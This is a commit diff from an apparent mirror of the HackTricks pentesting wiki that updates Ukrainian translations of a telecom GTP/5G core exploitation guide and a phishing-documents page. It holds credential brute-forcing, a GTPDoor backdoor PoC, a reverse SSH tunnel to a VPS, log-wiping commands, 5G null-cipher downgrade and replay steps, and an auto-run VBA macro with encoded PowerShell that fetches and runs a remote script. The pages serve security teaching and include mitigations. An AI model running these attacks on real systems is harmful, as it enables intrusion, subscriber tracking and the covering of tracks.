mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/pentesting-network/
This commit is contained in:
parent
5180e63350
commit
0727e9e1be
@ -1,27 +1,27 @@
|
|||||||
# Експлуатація телекомунікаційних мереж (GTP / Roaming Environments)
|
# Експлуатація телеком-мереж (GTP / Roaming Environments)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
> [!NOTE]
|
> [!NOTE]
|
||||||
> Протоколи ядра мобільних мереж (GPRS Tunnelling Protocol – GTP) часто проходять через напівдоверені GRX/IPX roaming backbones. Оскільки вони передаються по plain UDP з майже відсутньою автентифікацією, **будь-яка опора всередині периметру оператора зазвичай може безпосередньо дістатися до центральних signalling planes**. Наступні нотатки збирають offensive tricks, спостережувані в реальному житті проти SGSN/GGSN, PGW/SGW та інших EPC вузлів.
|
> Протоколи мобільного ядра (GPRS Tunnelling Protocol – GTP) часто проходять через напівдовірені роумінгові магістралі GRX/IPX. Оскільки вони передаються по plain UDP з майже відсутньою автентифікацією, **any foothold inside a telecom perimeter can usually reach core signalling planes directly**. Нижченаведені нотатки зібрані для опису offensive tricks, спостережених у реальних атаках проти SGSN/GGSN, PGW/SGW та інших EPC nodes.
|
||||||
|
|
||||||
## 1. Розвідка та початковий доступ
|
## 1. Recon & Initial Access
|
||||||
|
|
||||||
### 1.1 За замовчуванням OSS / NE облікові записи
|
### 1.1 Default OSS / NE Accounts
|
||||||
Дивно велика кількість елементів мережі від вендорів постачається з вбудованими SSH/Telnet обліковими записами, такими як `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Наявність спеціалізованого wordlist значно підвищує успіх brute-force:
|
Дивно велика кількість мережевих елементів від постачальників постачається з жорстко закодованими SSH/Telnet акаунтами, такими як `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Спеціалізований wordlist значно підвищує успіх brute-force:
|
||||||
```bash
|
```bash
|
||||||
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
|
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
|
||||||
```
|
```
|
||||||
Якщо пристрій відкриває лише management VRF, спочатку зробіть pivot через jump host (див. розділ «SGSN Emu Tunnel» нижче).
|
Якщо пристрій відкриває лише management VRF, спочатку зробіть pivot через jump host (див. розділ «SGSN Emu Tunnel» нижче).
|
||||||
|
|
||||||
### 1.2 Виявлення хостів у GRX/IPX
|
### 1.2 Виявлення хостів всередині GRX/IPX
|
||||||
Більшість операторів GRX досі дозволяють **ICMP echo** через магістраль. Поєднайте `masscan` з вбудованими UDP-пробами `gtpv1`, щоб швидко замапити GTP-C listeners:
|
Більшість операторів GRX все ще дозволяють **ICMP echo** через backbone. Поєднуйте `masscan` з вбудованими UDP-пробами `gtpv1`, щоб швидко виявити GTP-C listeners:
|
||||||
```bash
|
```bash
|
||||||
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
|
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
|
||||||
```
|
```
|
||||||
## 2. Перелічення абонентів – `cordscan`
|
## 2. Перебір абонентів – `cordscan`
|
||||||
|
|
||||||
Наступний інструмент на Go формує пакети **GTP-C Create PDP Context Request** і записує відповіді. Кожна відповідь виявляє поточний **SGSN / MME**, що обслуговує запитаний IMSI, а інколи — відвідану PLMN абонента.
|
Наведений нижче інструмент на Go формує пакети **GTP-C Create PDP Context Request** та логує відповіді. Кожна відповідь виявляє поточний **SGSN / MME**, що обслуговує запитуваний IMSI, а іноді — і відвідану PLMN абонента.
|
||||||
```bash
|
```bash
|
||||||
# Build
|
# Build
|
||||||
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
|
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
|
||||||
@ -31,20 +31,20 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
|
|||||||
```
|
```
|
||||||
Ключові прапори:
|
Ключові прапори:
|
||||||
- `--imsi` Цільовий IMSI абонента
|
- `--imsi` Цільовий IMSI абонента
|
||||||
- `--oper` Домашній / HNI (MCC+MNC)
|
- `--oper` домашня мережа / HNI (MCC+MNC)
|
||||||
- `-w` Записувати raw-пакети у pcap
|
- `-w` Записувати сирі пакети у pcap
|
||||||
|
|
||||||
Важливі константи всередині бінарного файлу можна запатчити, щоб розширити сканування:
|
Важливі константи всередині бінарного файлу можна змінити, щоб розширити сканування:
|
||||||
```
|
```
|
||||||
pingtimeout = 3 // seconds before giving up
|
pingtimeout = 3 // seconds before giving up
|
||||||
pco = 0x218080
|
pco = 0x218080
|
||||||
common_tcp_ports = "22,23,80,443,8080"
|
common_tcp_ports = "22,23,80,443,8080"
|
||||||
```
|
```
|
||||||
## 3. Code Execution over GTP – `GTPDoor`
|
## 3. Виконання коду через GTP – `GTPDoor`
|
||||||
|
|
||||||
`GTPDoor` — невеликий ELF-сервіс, який **прив'язується до UDP 2123 і розбирає кожний вхідний GTP-C пакет**. Коли payload починається з pre-shared tag, решта розшифровується (AES-128-CBC) і виконується через `/bin/sh -c`. stdout/stderr ексфільтруються всередині повідомлень **Echo Response**, тож жодна зовнішня сесія ніколи не створюється.
|
`GTPDoor` — крихітна ELF-служба, яка прив’язує сокет до порту UDP 2123 і розбирає кожен вхідний GTP-C пакет. Коли payload починається з pre-shared tag, решта розшифровується (AES-128-CBC) і виконується через `/bin/sh -c`. stdout/stderr exfiltrated inside **Echo Response** messages, тож жодна зовнішня сесія не створюється.
|
||||||
|
|
||||||
Minimal PoC packet (Python):
|
Мінімальний PoC пакет (Python):
|
||||||
```python
|
```python
|
||||||
import gtpc, Crypto.Cipher.AES as AES
|
import gtpc, Crypto.Cipher.AES as AES
|
||||||
key = b"SixteenByteKey!"
|
key = b"SixteenByteKey!"
|
||||||
@ -52,40 +52,40 @@ cmd = b"id;uname -a"
|
|||||||
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
|
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
|
||||||
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
|
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
|
||||||
```
|
```
|
||||||
Detection:
|
Виявлення:
|
||||||
* будь-який host, що надсилає **unbalanced Echo Requests** на SGSN IPs
|
* будь-який хост, який надсилає **unbalanced Echo Requests** до IP-адрес SGSN
|
||||||
* GTP version flag set to 1 while message type = 1 (Echo) – відхилення від специфікації
|
* GTP version flag встановлено в 1, тоді як message type = 1 (Echo) – відхилення від специфікації
|
||||||
|
|
||||||
## 4. Pivoting через ядро
|
## 4. Pivoting через ядро
|
||||||
|
|
||||||
### 4.1 `sgsnemu` + SOCKS5
|
### 4.1 `sgsnemu` + SOCKS5
|
||||||
`OsmoGGSN` постачається з емулятором SGSN, здатним **establish a PDP context towards a real GGSN/PGW**. Після узгодження Linux отримує новий інтерфейс `tun0`, доступний з боку roaming peer.
|
`OsmoGGSN` містить емулятор SGSN, здатний **встановити PDP context до реального GGSN/PGW**. Після узгодження Linux отримує новий інтерфейс `tun0`, доступний з боку роумінг-піра.
|
||||||
```bash
|
```bash
|
||||||
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
|
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
|
||||||
-APN internet -c 1 -d
|
-APN internet -c 1 -d
|
||||||
ip route add 172.16.0.0/12 dev tun0
|
ip route add 172.16.0.0/12 dev tun0
|
||||||
microsocks -p 1080 & # internal SOCKS proxy
|
microsocks -p 1080 & # internal SOCKS proxy
|
||||||
```
|
```
|
||||||
При належному firewall hair-pinning цей тунель обходить signalling-only VLANs і потрапляє безпосередньо в **data plane**.
|
При належному firewall hair-pinning цей тунель обходить signalling-only VLANs і потрапляєте безпосередньо в **data plane**.
|
||||||
|
|
||||||
### 4.2 SSH Reverse Tunnel over Port 53
|
### 4.2 SSH Reverse Tunnel over Port 53
|
||||||
DNS майже завжди відкритий у роумінгових інфраструктурах. Відкрийте внутрішній SSH-сервіс на вашому VPS, що слухає порт :53, і підключіться пізніше з дому:
|
DNS майже завжди відкритий у роумінгових інфраструктурах. Експонуйте внутрішній SSH-сервіс на ваш VPS, що слухає на :53, і поверніться пізніше додому:
|
||||||
```bash
|
```bash
|
||||||
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
|
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
|
||||||
```
|
```
|
||||||
Переконайтеся, що `GatewayPorts yes` увімкнено на VPS.
|
Перевірте, що `GatewayPorts yes` увімкнено на VPS.
|
||||||
|
|
||||||
## 5. Приховані канали
|
## 5. Приховані канали
|
||||||
|
|
||||||
| Канал | Транспорт | Декодування | Примітки |
|
| Канал | Транспорт | Декодування | Примітки |
|
||||||
|---------|-----------|----------|-------|
|
|---------|-----------|----------|-------|
|
||||||
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | чисто пасивний прослуховувач, без вихідного трафіку |
|
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | повністю пасивний слухач, без вихідного трафіку |
|
||||||
| DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | слідкує за піддоменом `*.nodep` |
|
| DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | стежить за `*.nodep` піддоменом |
|
||||||
| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | маскується під легітимний GTP-C трафік |
|
| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | зливається з легітимним GTP-C чатом |
|
||||||
|
|
||||||
Усі імпланти реалізують watchdogs, які **timestomp** їхні бінарні файли та перезапускаються у разі збою.
|
Усі implants реалізують watchdogs, які **timestomp** їхні binaries та re-spawn у разі збою.
|
||||||
|
|
||||||
## 6. Шпаргалка з ухилення від захисту
|
## 6. Defense Evasion Cheatsheet
|
||||||
```bash
|
```bash
|
||||||
# Remove attacker IPs from wtmp
|
# Remove attacker IPs from wtmp
|
||||||
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
|
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
|
||||||
@ -116,74 +116,74 @@ python3 exploit_userspec.py
|
|||||||
userdel firefart 2>/dev/null
|
userdel firefart 2>/dev/null
|
||||||
rm -f /tmp/sh ; history -c
|
rm -f /tmp/sh ; history -c
|
||||||
```
|
```
|
||||||
## 8. Tool Box
|
## 8. Набір інструментів
|
||||||
|
|
||||||
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – власні інструменти, описані в попередніх розділах.
|
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – кастомні інструменти, описані в попередніх розділах.
|
||||||
* `FScan` : сканування TCP у локальній мережі (`fscan -p 22,80,443 10.0.0.0/24`)
|
* `FScan` : сканування TCP у внутрішній мережі (`fscan -p 22,80,443 10.0.0.0/24`)
|
||||||
* `Responder` : LLMNR/NBT-NS rogue WPAD
|
* `Responder` : LLMNR/NBT-NS rogue WPAD
|
||||||
* `Microsocks` + `ProxyChains` : легке SOCKS5 pivoting
|
* `Microsocks` + `ProxyChains` : lightweight SOCKS5 pivoting
|
||||||
* `FRP` (≥0.37) : NAT traversal / asset bridging
|
* `FRP` (≥0.37) : NAT traversal / asset bridging
|
||||||
|
|
||||||
## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
|
## 9. Атаки на реєстрацію 5G NAS: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
|
||||||
|
|
||||||
Процедура реєстрації 5G виконується поверх NAS (Non-Access Stratum) на базі NGAP. Поки NAS security не активовано через Security Mode Command/Complete, початкові повідомлення не автентифіковані і не зашифровані. Це вікно перед активацією безпеки відкриває кілька векторів атаки, якщо ви можете спостерігати або змінювати трафік N2 (наприклад, on-path всередині core, rogue gNB або тестовий стенд).
|
Процедура реєстрації 5G виконується через NAS (Non-Access Stratum) поверх NGAP. До того, як NAS безпеку буде активовано через Security Mode Command/Complete, початкові повідомлення не автентифіковані та не зашифровані. Це вікно перед активацією безпеки відкриває кілька шляхів атаки, якщо ви можете спостерігати або модифікувати N2 трафік (наприклад, on-path всередині core, rogue gNB або тестовий стенд).
|
||||||
|
|
||||||
Registration flow (simplified):
|
Потік реєстрації (спрощено):
|
||||||
- Registration Request: UE sends SUCI (encrypted SUPI) and capabilities.
|
- Registration Request: UE надсилає SUCI (зашифрований SUPI) та capabilities.
|
||||||
- Authentication: AMF/AUSF send RAND/AUTN; UE returns RES*.
|
- Authentication: AMF/AUSF надсилають RAND/AUTN; UE повертає RES*.
|
||||||
- Security Mode Command/Complete: NAS integrity and ciphering are negotiated and activated.
|
- Security Mode Command/Complete: узгоджуються та активуються NAS integrity та ciphering.
|
||||||
- PDU Session Establishment: IP/QoS setup.
|
- PDU Session Establishment: налаштування IP/QoS.
|
||||||
|
|
||||||
Lab setup tips (non-RF):
|
Поради щодо налаштування лабораторії (без RF):
|
||||||
- Core: Open5GS default deployment is sufficient to reproduce flows.
|
- Core: стандартне розгортання Open5GS достатнє для відтворення потоків.
|
||||||
- UE: simulator or test UE; decode using Wireshark.
|
- UE: симулятор або тестовий UE; декодуйте за допомогою Wireshark.
|
||||||
- Active tooling: 5GReplay (захоплення/модифікація/повторна відправка NAS в рамках NGAP), Sni5Gect (підслухати/запатчити/вставити NAS на льоту без підняття повного rogue gNB).
|
- Активні інструменти: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
|
||||||
- Useful display filters in Wireshark:
|
- Корисні фільтри відображення у Wireshark:
|
||||||
- ngap.procedure_code == 15 (InitialUEMessage)
|
- ngap.procedure_code == 15 (InitialUEMessage)
|
||||||
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
|
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
|
||||||
|
|
||||||
### 9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
|
### 9.1 Приватність ідентифікаторів: SUCI failures exposing SUPI/IMSI
|
||||||
Expected: UE/USIM must transmit SUCI (SUPI encrypted with the home-network public key). Finding a plaintext SUPI/IMSI in the Registration Request indicates a privacy defect enabling persistent subscriber tracking.
|
Очікування: UE/USIM має передавати SUCI (SUPI, зашифрований відкритим ключем домашньої мережі). Знаходження відкритого SUPI/IMSI у Registration Request вказує на дефект приватності, який дозволяє постійне відстеження абонента.
|
||||||
|
|
||||||
How to test:
|
Як тестувати:
|
||||||
- Capture the first NAS message in InitialUEMessage and inspect the Mobile Identity IE.
|
- Захопіть перше NAS повідомлення в InitialUEMessage і проінспектуйте Mobile Identity IE.
|
||||||
- Wireshark quick checks:
|
- Швидкі перевірки у Wireshark:
|
||||||
- It should decode as SUCI, not IMSI.
|
- Пакет має декодуватися як SUCI, а не IMSI.
|
||||||
- Filter examples: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` should exist; absence plus presence of `imsi` indicates витік.
|
- Приклади фільтрів: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` має існувати; відсутність разом із присутністю `imsi` вказує на leak.
|
||||||
|
|
||||||
What to collect:
|
Що збирати:
|
||||||
- MCC/MNC/MSIN if exposed; log per-UE and track across time/locations.
|
- MCC/MNC/MSIN, якщо вони витікають; логувати по UE та відстежувати у часі/локаціях.
|
||||||
|
|
||||||
Mitigation:
|
Міри захисту:
|
||||||
- Enforce SUCI-only UEs/USIMs; alert on any IMSI/SUPI in initial NAS.
|
- Забезпечити SUCI-only UEs/USIMs; сповіщати про будь-який IMSI/SUPI у початковому NAS.
|
||||||
|
|
||||||
### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
|
### 9.2 Відкат можливостей (capability bidding-down) до нульових алгоритмів (EEA0/EIA0)
|
||||||
Background:
|
Передумови:
|
||||||
- UE advertises supported EEA (encryption) and EIA (integrity) in the UE Security Capability IE of the Registration Request.
|
- UE рекламує підтримувані EEA (шифрування) та EIA (цілісність) у UE Security Capability IE реєстраційного запиту.
|
||||||
- Common mappings: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 are null algorithms.
|
- Типові відповідності: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 — нульові алгоритми.
|
||||||
|
|
||||||
Issue:
|
Проблема:
|
||||||
- Because the Registration Request is not integrity protected, an on-path attacker can clear capability bits to coerce selection of EEA0/EIA0 later during Security Mode Command. Some stacks wrongly allow null algorithms outside emergency services.
|
- Оскільки Registration Request не має захисту цілісності, on-path attacker може очистити біти capability, щоб примусити вибір EEA0/EIA0 пізніше під час Security Mode Command. Деякі стеки помилково дозволяють нульові алгоритми поза екстреними сервісами.
|
||||||
|
|
||||||
Offensive steps:
|
Атакувальні кроки:
|
||||||
- Intercept InitialUEMessage and modify the NAS UE Security Capability to advertise only EEA0/EIA0.
|
- Перехопіть InitialUEMessage і змініть NAS UE Security Capability так, щоб рекламувати лише EEA0/EIA0.
|
||||||
- With Sni5Gect, hook the NAS message and patch the capability bits before forwarding.
|
- За допомогою Sni5Gect підхопіть NAS повідомлення і патчіть біти capability перед пересиланням.
|
||||||
- Observe whether AMF accepts null ciphers/integrity and completes Security Mode with EEA0/EIA0.
|
- Спостерігайте, чи AMF приймає нульові шифри/цілісність і завершить Security Mode з EEA0/EIA0.
|
||||||
|
|
||||||
Verification/visibility:
|
Перевірка/видимість:
|
||||||
- In Wireshark, confirm selected algorithms after Security Mode Command/Complete.
|
- У Wireshark підтвердіть обрані алгоритми після Security Mode Command/Complete.
|
||||||
- Example passive sniffer output:
|
- Приклад виводу пасивного сніффера:
|
||||||
```
|
```
|
||||||
Encyrption in use [EEA0]
|
Encyrption in use [EEA0]
|
||||||
Integrity in use [EIA0, EIA1, EIA2]
|
Integrity in use [EIA0, EIA1, EIA2]
|
||||||
SUPI (MCC+MNC+MSIN) 9997000000001
|
SUPI (MCC+MNC+MSIN) 9997000000001
|
||||||
```
|
```
|
||||||
Заходи пом'якшення (обов'язково):
|
Заходи пом'якшення (обов'язково):
|
||||||
- Налаштуйте AMF/policy так, щоб відкидати EEA0/EIA0, за винятком випадків, коли це суворо вимагається (наприклад, екстрені дзвінки).
|
- Налаштуйте AMF/policy відхиляти EEA0/EIA0, крім випадків, коли це суворо необхідно (наприклад, екстрені виклики).
|
||||||
- Віддавайте перевагу застосуванню EEA2/EIA2 як мінімум; фіксуйте в логах і піднімайте тривогу для будь-якого NAS security context, який погоджує null алгоритми.
|
- Віддавайте перевагу застосуванню EEA2/EIA2 як мінімум; логувати та піднімати тривогу для будь-якого контексту безпеки NAS, який узгоджує null algorithms.
|
||||||
|
|
||||||
### 9.3 Replay of initial Registration Request (pre-security NAS)
|
### 9.3 Replay початкового Registration Request (pre-security NAS)
|
||||||
Оскільки початковий NAS не має цілісності та свіжості, захоплений InitialUEMessage+Registration Request можна відтворити (replay) і надіслати AMF.
|
Оскільки початковий NAS не забезпечує цілісності та свіжості, перехоплений InitialUEMessage+Registration Request можна відтворити до AMF.
|
||||||
|
|
||||||
PoC rule for 5GReplay to forward matching replays:
|
PoC rule for 5GReplay to forward matching replays:
|
||||||
```xml
|
```xml
|
||||||
@ -208,34 +208,34 @@ boolean_expression="nas_5g.message_type == 65"/>
|
|||||||
</property>
|
</property>
|
||||||
</beginning>
|
</beginning>
|
||||||
```
|
```
|
||||||
На що звертати увагу:
|
Що спостерігати:
|
||||||
- Чи приймає AMF replay і переходить до аутентифікації; відсутність перевірки свіжості/зв'язування контексту вказує на вразливість.
|
- Чи приймає AMF повтор (replay) і переходить до Authentication; відсутність перевірки свіжості/контекстного зв'язування вказує на вразливість.
|
||||||
|
|
||||||
Заходи пом'якшення:
|
Mitigations:
|
||||||
- Забезпечити захист від replay і зв'язування контексту на AMF; застосувати rate-limit і корелювати на рівні per-GNB/UE.
|
- Забезпечити захист від replay/зв'язування контексту на боці AMF; обмежувати швидкість і корелювати за GNB/UE.
|
||||||
|
|
||||||
### 9.4 Tooling pointers (reproducible)
|
### 9.4 Поради по інструментах (відтворювані)
|
||||||
- Open5GS: spin up an AMF/SMF/UPF to emulate core; observe N2 (NGAP) and NAS.
|
- Open5GS: spin up an AMF/SMF/UPF to emulate core; observe N2 (NGAP) and NAS.
|
||||||
- Wireshark: verify decodes of NGAP/NAS; apply the filters above to isolate Registration.
|
- Wireshark: verify decodes of NGAP/NAS; apply the filters above to isolate Registration.
|
||||||
- 5GReplay: capture a registration, then replay specific NGAP + NAS messages as per the rule.
|
- 5GReplay: capture a registration, then replay specific NGAP + NAS messages as per the rule.
|
||||||
- Sni5Gect: у режимі live перехоплюйте/змінюйте/впроваджуйте в NAS control-plane, щоб примусити null алгоритми або порушити послідовності аутентифікації.
|
- Sni5Gect: live sniff/modify/inject NAS control-plane to coerce null algorithms or perturb authentication sequences.
|
||||||
|
|
||||||
### 9.5 Чекліст захисту
|
### 9.5 Контрольний список захисту
|
||||||
- Постійно інспектуйте Registration Request на предмет незашифрованих SUPI/IMSI; блокувати пристрої/USIMs, що порушують правила.
|
- Постійно інспектуйте Registration Request на предмет plaintext SUPI/IMSI; блокувати пристрої/USIMs, що порушують.
|
||||||
- Відхиляти EEA0/EIA0, за винятком чітко визначених аварійних процедур; вимагати як мінімум EEA2/EIA2.
|
- Відкидати EEA0/EIA0, крім вузько визначених процедур екстрених випадків; вимагати принаймні EEA2/EIA2.
|
||||||
- Виявляйте підроблену або некоректно сконфігуровану інфраструктуру: неавторизовані gNB/AMF, несподівані N2 peers.
|
- Виявляти зловмисну або неправильно налаштовану інфраструктуру: неавторизовані gNB/AMF, несподівані N2 peers.
|
||||||
- Генерувати оповіщення про NAS security modes, що призводять до null алгоритмів або частих повторів InitialUEMessage.
|
- Сигналізувати про NAS security modes, що призводять до null алгоритмів або частих повторів InitialUEMessage.
|
||||||
|
|
||||||
---
|
---
|
||||||
## Ідеї для виявлення
|
## Ідеї для виявлення
|
||||||
1. **Будь-який пристрій, відмінний від SGSN/GGSN, який встановлює Create PDP Context Requests**.
|
1. **Будь-який пристрій, відмінний від SGSN/GGSN, що встановлює Create PDP Context Requests**.
|
||||||
2. **Неcтандартні порти (53, 80, 443), що отримують SSH handshakes** з внутрішніх IP.
|
2. **Нестандартні порти (53, 80, 443), які отримують SSH handshakes** від внутрішніх IP.
|
||||||
3. **Часті Echo Requests без відповідних Echo Responses** – може вказувати на GTPDoor beacons.
|
3. **Часті Echo Requests без відповідних Echo Responses** – може вказувати на GTPDoor beacons.
|
||||||
4. **Висока інтенсивність ICMP echo-reply трафіку з великими, ненульовими полями identifier/sequence**.
|
4. **Високий рівень ICMP echo-reply трафіку з великими, ненульовими полями identifier/sequence**.
|
||||||
5. 5G: **InitialUEMessage, що містить NAS Registration Requests, повторювані з однакових кінцевих точок** (сигнал replay).
|
5. 5G: **InitialUEMessage, що несе NAS Registration Requests, повторювані з однакових кінцевих точок** (сигнал replay).
|
||||||
6. 5G: **NAS Security Mode, що погоджує EEA0/EIA0** поза аварійними контекстами.
|
6. 5G: **NAS Security Mode, який узгоджує EEA0/EIA0** поза контекстом екстрених випадків.
|
||||||
|
|
||||||
## Посилання
|
## References
|
||||||
|
|
||||||
- [Palo Alto Unit42 – Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
|
- [Palo Alto Unit42 – Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
|
||||||
- 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0)
|
- 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0)
|
||||||
|
|||||||
@ -1,40 +1,40 @@
|
|||||||
# Phishing Файли та документи
|
# Phishing файли та документи
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Office документи
|
## Office Документи
|
||||||
|
|
||||||
Microsoft Word виконує перевірку даних файлу перед його відкриттям. Перевірка даних виконується шляхом ідентифікації структури даних відповідно до стандарту OfficeOpenXML. Якщо під час ідентифікації структури даних виникає помилка, файл не буде відкрито.
|
Microsoft Word виконує перевірку даних файлу перед його відкриттям. Перевірка даних відбувається у вигляді ідентифікації структури даних відповідно до стандарту OfficeOpenXML. Якщо під час ідентифікації структури даних виникає помилка, аналізований файл не буде відкрито.
|
||||||
|
|
||||||
Зазвичай файли Word, що містять макроси, мають розширення `.docm`. Однак можна перейменувати файл, змінивши розширення, і при цьому зберегти можливість виконання макросів.\
|
Зазвичай файли Word, що містять макроси, використовують розширення `.docm`. Однак можна перейменувати файл, змінивши розширення, і при цьому зберегти можливість виконання макросів.\
|
||||||
Наприклад, формат RTF за задумом не підтримує макроси, але DOCM-файл, перейменований у RTF, буде оброблений Microsoft Word і зможе виконувати макроси.\
|
Наприклад, файл RTF за своєю конструкцією не підтримує макроси, але файл DOCM, перейменований на RTF, буде оброблений Microsoft Word і зможе виконувати макроси.\
|
||||||
Ті ж внутрішні механізми застосовуються до всіх програм Microsoft Office Suite (Excel, PowerPoint тощо).
|
Ті самі внутрішні механізми застосовуються до всього програмного забезпечення Microsoft Office Suite (Excel, PowerPoint тощо).
|
||||||
|
|
||||||
Ви можете використати наступну команду, щоб перевірити, які розширення будуть виконуватися деякими програмами Office:
|
Ви можете використати наступну команду, щоб перевірити, які розширення будуть виконуватися деякими програмами Office:
|
||||||
```bash
|
```bash
|
||||||
assoc | findstr /i "word excel powerp"
|
assoc | findstr /i "word excel powerp"
|
||||||
```
|
```
|
||||||
Файли DOCX, які посилаються на віддалений шаблон (File –Options –Add-ins –Manage: Templates –Go), що містить macros, також можуть виконувати macros.
|
Файли DOCX, що посилаються на віддалений шаблон (File –Options –Add-ins –Manage: Templates –Go), який містить макроси, також можуть «виконувати» макроси.
|
||||||
|
|
||||||
### Зовнішнє завантаження зображення
|
### Завантаження зовнішнього зображення
|
||||||
|
|
||||||
Перейдіть до: _Insert --> Quick Parts --> Field_\
|
Перейдіть до: _Insert --> Quick Parts --> Field_\
|
||||||
_**Категорії**: Links and References, **Filed names**: includePicture, and **Filename or URL**:_ http://<ip>/whatever
|
_**Категорії**: Links and References, **Імена полів**: includePicture, and **Ім'я файлу або URL**:_ http://<ip>/whatever
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
### Macros Backdoor
|
### Бекдор через макроси
|
||||||
|
|
||||||
Можна використовувати macros для запуску довільного коду з документа.
|
За допомогою макросів можна запускати довільний код із документа.
|
||||||
|
|
||||||
#### Автозавантажувані функції
|
#### Функції автозавантаження
|
||||||
|
|
||||||
Чим частіше вони використовуються, тим вища ймовірність, що AV їх виявить.
|
Чим вони поширеніші, тим більша ймовірність, що AV їх виявить.
|
||||||
|
|
||||||
- AutoOpen()
|
- AutoOpen()
|
||||||
- Document_Open()
|
- Document_Open()
|
||||||
|
|
||||||
#### Macros Code Examples
|
#### Приклади коду макросів
|
||||||
```vba
|
```vba
|
||||||
Sub AutoOpen()
|
Sub AutoOpen()
|
||||||
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
|
